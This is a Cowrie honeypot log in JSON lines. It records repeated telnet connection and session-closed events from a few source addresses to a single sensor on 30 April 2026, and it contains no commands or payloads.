{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53136,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ccc8d1f3c1c","protocol":"telnet","message":"New connection: 46.4.133.15:53136 (10.17.0.5:23) [session: 5ccc8d1f3c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.138368Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53226,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd442fb027d5","protocol":"telnet","message":"New connection: 46.4.133.15:53226 (10.17.0.5:23) [session: dd442fb027d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.161349Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49653,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe01995f28a","protocol":"telnet","message":"New connection: 185.116.212.16:49653 (10.17.0.5:23) [session: bfe01995f28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.378887Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49723,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa30a5e12b56","protocol":"telnet","message":"New connection: 185.116.212.16:49723 (10.17.0.5:23) [session: fa30a5e12b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.565524Z"}
{"eventid":"cowrie.session.closed","duration":30.860152006149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.972371Z","src_ip":"46.4.133.15","session":"fd2644ae3641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81882333755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.976292Z","src_ip":"46.4.133.15","session":"065f16a9895f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56616,"dst_ip":"10.17.0.5","dst_port":23,"session":"49667220944f","protocol":"telnet","message":"New connection: 46.4.133.15:56616 (10.17.0.5:23) [session: 49667220944f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.151452Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56614,"dst_ip":"10.17.0.5","dst_port":23,"session":"304354376eda","protocol":"telnet","message":"New connection: 46.4.133.15:56614 (10.17.0.5:23) [session: 304354376eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.156139Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49948,"dst_ip":"10.17.0.5","dst_port":23,"session":"27aac6824780","protocol":"telnet","message":"New connection: 185.116.212.16:49948 (10.17.0.5:23) [session: 27aac6824780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.243125Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50001,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1008ae6120b","protocol":"telnet","message":"New connection: 185.116.212.16:50001 (10.17.0.5:23) [session: f1008ae6120b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.359938Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50003,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede67bd6e1a7","protocol":"telnet","message":"New connection: 185.116.212.16:50003 (10.17.0.5:23) [session: ede67bd6e1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.365837Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":58784,"dst_ip":"10.17.0.5","dst_port":23,"session":"689ecff60d29","protocol":"telnet","message":"New connection: 46.4.133.15:58784 (10.17.0.5:23) [session: 689ecff60d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:39.745359Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50425,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea60d65e3a1","protocol":"telnet","message":"New connection: 185.116.212.16:50425 (10.17.0.5:23) [session: 1ea60d65e3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:40.233335Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50591,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d94659a48e","protocol":"telnet","message":"New connection: 185.116.212.16:50591 (10.17.0.5:23) [session: a5d94659a48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:40.540066Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50612,"dst_ip":"10.17.0.5","dst_port":23,"session":"357712fdac35","protocol":"telnet","message":"New connection: 185.116.212.16:50612 (10.17.0.5:23) [session: 357712fdac35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:40.571914Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50409,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b182ee4da79","protocol":"telnet","message":"New connection: 185.116.212.16:50409 (10.17.0.5:23) [session: 7b182ee4da79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:41.196076Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50914,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98a681ac730","protocol":"telnet","message":"New connection: 185.116.212.16:50914 (10.17.0.5:23) [session: c98a681ac730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:41.199731Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":50936,"dst_ip":"10.17.0.5","dst_port":23,"session":"14acabc56161","protocol":"telnet","message":"New connection: 185.116.212.16:50936 (10.17.0.5:23) [session: 14acabc56161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:41.247996Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c4bc303d99","protocol":"telnet","message":"New connection: 185.116.212.16:51028 (10.17.0.5:23) [session: 59c4bc303d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:41.400060Z"}
{"eventid":"cowrie.session.closed","duration":30.82900333404541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:41.972592Z","src_ip":"46.4.133.15","session":"fd4854681c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99008846282959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.020649Z","src_ip":"46.4.133.15","session":"1075229e7de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51374,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a00188b56fd","protocol":"telnet","message":"New connection: 185.116.212.16:51374 (10.17.0.5:23) [session: 2a00188b56fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.199993Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51441,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcbb66bb76e2","protocol":"telnet","message":"New connection: 185.116.212.16:51441 (10.17.0.5:23) [session: fcbb66bb76e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.359697Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51054,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a891d8fe20c","protocol":"telnet","message":"New connection: 185.116.212.16:51054 (10.17.0.5:23) [session: 3a891d8fe20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.441869Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51511,"dst_ip":"10.17.0.5","dst_port":23,"session":"0993882c01af","protocol":"telnet","message":"New connection: 185.116.212.16:51511 (10.17.0.5:23) [session: 0993882c01af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.490897Z"}
{"eventid":"cowrie.session.closed","duration":30.767481565475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.636542Z","src_ip":"203.1.9.18","session":"542664badfcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3d7d22e4f7","protocol":"telnet","message":"New connection: 46.4.133.15:40624 (10.17.0.5:23) [session: 8a3d7d22e4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.722330Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":51664,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e69c2b525d5","protocol":"telnet","message":"New connection: 185.116.212.16:51664 (10.17.0.5:23) [session: 1e69c2b525d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:42.757802Z"}
{"eventid":"cowrie.session.closed","duration":30.2005136013031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:43.979222Z","src_ip":"46.4.133.15","session":"f9f5acc5436a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834930658340454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:43.997914Z","src_ip":"46.4.133.15","session":"2bb5166296e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8977472782135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.107005Z","src_ip":"203.1.9.18","session":"682c6a056289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":45920,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0694111603","protocol":"telnet","message":"New connection: 46.4.133.15:45920 (10.17.0.5:23) [session: 0f0694111603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.156795Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52383,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b665a2ade7","protocol":"telnet","message":"New connection: 185.116.212.16:52383 (10.17.0.5:23) [session: 67b665a2ade7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.303860Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52459,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40dcec12035","protocol":"telnet","message":"New connection: 185.116.212.16:52459 (10.17.0.5:23) [session: c40dcec12035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.461813Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52619,"dst_ip":"10.17.0.5","dst_port":23,"session":"907c18e6fe82","protocol":"telnet","message":"New connection: 185.116.212.16:52619 (10.17.0.5:23) [session: 907c18e6fe82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.779654Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"521146132472","protocol":"telnet","message":"New connection: 185.116.212.16:52654 (10.17.0.5:23) [session: 521146132472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.866892Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52681,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e09076b154f","protocol":"telnet","message":"New connection: 185.116.212.16:52681 (10.17.0.5:23) [session: 0e09076b154f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:44.930551Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"47606c337d92","protocol":"telnet","message":"New connection: 185.116.212.16:52720 (10.17.0.5:23) [session: 47606c337d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.028077Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7955119976","protocol":"telnet","message":"New connection: 46.4.133.15:49640 (10.17.0.5:23) [session: 9e7955119976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.145547Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52831,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f5ae6ac4ae","protocol":"telnet","message":"New connection: 185.116.212.16:52831 (10.17.0.5:23) [session: 89f5ae6ac4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.302179Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52899,"dst_ip":"10.17.0.5","dst_port":23,"session":"51cf49f30dc9","protocol":"telnet","message":"New connection: 185.116.212.16:52899 (10.17.0.5:23) [session: 51cf49f30dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.419919Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51320,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e2a4e717d7","protocol":"telnet","message":"New connection: 46.4.133.15:51320 (10.17.0.5:23) [session: 55e2a4e717d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.498945Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53001,"dst_ip":"10.17.0.5","dst_port":23,"session":"d01e2d35ad7c","protocol":"telnet","message":"New connection: 185.116.212.16:53001 (10.17.0.5:23) [session: d01e2d35ad7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.594546Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53030,"dst_ip":"10.17.0.5","dst_port":23,"session":"e132ec7dc5b0","protocol":"telnet","message":"New connection: 185.116.212.16:53030 (10.17.0.5:23) [session: e132ec7dc5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.645659Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52604,"dst_ip":"10.17.0.5","dst_port":23,"session":"21cd1a9e7302","protocol":"telnet","message":"New connection: 185.116.212.16:52604 (10.17.0.5:23) [session: 21cd1a9e7302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.748974Z"}
{"eventid":"cowrie.session.closed","duration":30.5122811794281,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.831622Z","src_ip":"203.1.9.18","session":"29b2e0d564c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07600450515747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.986081Z","src_ip":"46.4.133.15","session":"cc058fc77033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50884437561035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:45.999433Z","src_ip":"46.4.133.15","session":"9c8449eb1093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53636,"dst_ip":"10.17.0.5","dst_port":23,"session":"deacb2f5ae4b","protocol":"telnet","message":"New connection: 46.4.133.15:53636 (10.17.0.5:23) [session: deacb2f5ae4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.225291Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53285,"dst_ip":"10.17.0.5","dst_port":23,"session":"90216512677b","protocol":"telnet","message":"New connection: 185.116.212.16:53285 (10.17.0.5:23) [session: 90216512677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.261892Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":52816,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d9becbc76b","protocol":"telnet","message":"New connection: 185.116.212.16:52816 (10.17.0.5:23) [session: b3d9becbc76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.282010Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53324,"dst_ip":"10.17.0.5","dst_port":23,"session":"49530d8e1c48","protocol":"telnet","message":"New connection: 185.116.212.16:53324 (10.17.0.5:23) [session: 49530d8e1c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.315092Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53334,"dst_ip":"10.17.0.5","dst_port":23,"session":"728eb79c74ef","protocol":"telnet","message":"New connection: 185.116.212.16:53334 (10.17.0.5:23) [session: 728eb79c74ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.346175Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53379,"dst_ip":"10.17.0.5","dst_port":23,"session":"3beb01b95397","protocol":"telnet","message":"New connection: 185.116.212.16:53379 (10.17.0.5:23) [session: 3beb01b95397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.400297Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda7be74f9fc","protocol":"telnet","message":"New connection: 185.116.212.16:53382 (10.17.0.5:23) [session: eda7be74f9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.415147Z"}
{"eventid":"cowrie.session.closed","duration":31.161296129226685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.810601Z","src_ip":"203.1.9.18","session":"17549ecc7a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250561952590942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.860343Z","src_ip":"203.1.9.18","session":"f67d77f65d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56284,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7560e13709","protocol":"telnet","message":"New connection: 46.4.133.15:56284 (10.17.0.5:23) [session: ce7560e13709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:46.953954Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53700,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6144859f87a","protocol":"telnet","message":"New connection: 185.116.212.16:53700 (10.17.0.5:23) [session: e6144859f87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:47.137149Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56834,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acebf24de9d","protocol":"telnet","message":"New connection: 46.4.133.15:56834 (10.17.0.5:23) [session: 7acebf24de9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:47.141077Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":53715,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb17856b72ee","protocol":"telnet","message":"New connection: 185.116.212.16:53715 (10.17.0.5:23) [session: fb17856b72ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:48.208861Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54137,"dst_ip":"10.17.0.5","dst_port":23,"session":"008d7b7cb26e","protocol":"telnet","message":"New connection: 185.116.212.16:54137 (10.17.0.5:23) [session: 008d7b7cb26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:48.225888Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54179,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2e0917d04a","protocol":"telnet","message":"New connection: 185.116.212.16:54179 (10.17.0.5:23) [session: 8e2e0917d04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:48.313151Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54075,"dst_ip":"10.17.0.5","dst_port":23,"session":"26313b98fd3d","protocol":"telnet","message":"New connection: 185.116.212.16:54075 (10.17.0.5:23) [session: 26313b98fd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:48.981754Z"}
{"eventid":"cowrie.session.closed","duration":30.837998628616333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:49.020129Z","src_ip":"46.4.133.15","session":"df85e371a05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54140,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d015a78ab96","protocol":"telnet","message":"New connection: 185.116.212.16:54140 (10.17.0.5:23) [session: 7d015a78ab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:49.215069Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54567,"dst_ip":"10.17.0.5","dst_port":23,"session":"afdc034be4fb","protocol":"telnet","message":"New connection: 185.116.212.16:54567 (10.17.0.5:23) [session: afdc034be4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:49.241775Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37106,"dst_ip":"10.17.0.5","dst_port":23,"session":"e89826783da9","protocol":"telnet","message":"New connection: 46.4.133.15:37106 (10.17.0.5:23) [session: e89826783da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:49.671015Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38102,"dst_ip":"10.17.0.5","dst_port":23,"session":"834d68b8086c","protocol":"telnet","message":"New connection: 46.4.133.15:38102 (10.17.0.5:23) [session: 834d68b8086c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.096537Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38234,"dst_ip":"10.17.0.5","dst_port":23,"session":"166755da0efb","protocol":"telnet","message":"New connection: 46.4.133.15:38234 (10.17.0.5:23) [session: 166755da0efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.125656Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95caf7ec2d6","protocol":"telnet","message":"New connection: 185.116.212.16:54548 (10.17.0.5:23) [session: b95caf7ec2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.183511Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38566,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d1132a1bce","protocol":"telnet","message":"New connection: 46.4.133.15:38566 (10.17.0.5:23) [session: 90d1132a1bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.188782Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38614,"dst_ip":"10.17.0.5","dst_port":23,"session":"99eb1826fe76","protocol":"telnet","message":"New connection: 46.4.133.15:38614 (10.17.0.5:23) [session: 99eb1826fe76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.204016Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":55044,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b1c56ff405","protocol":"telnet","message":"New connection: 185.116.212.16:55044 (10.17.0.5:23) [session: 75b1c56ff405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.281784Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":54583,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a64dfc61226","protocol":"telnet","message":"New connection: 185.116.212.16:54583 (10.17.0.5:23) [session: 8a64dfc61226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.286368Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":55122,"dst_ip":"10.17.0.5","dst_port":23,"session":"910aa78f569d","protocol":"telnet","message":"New connection: 185.116.212.16:55122 (10.17.0.5:23) [session: 910aa78f569d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:50.469258Z"}
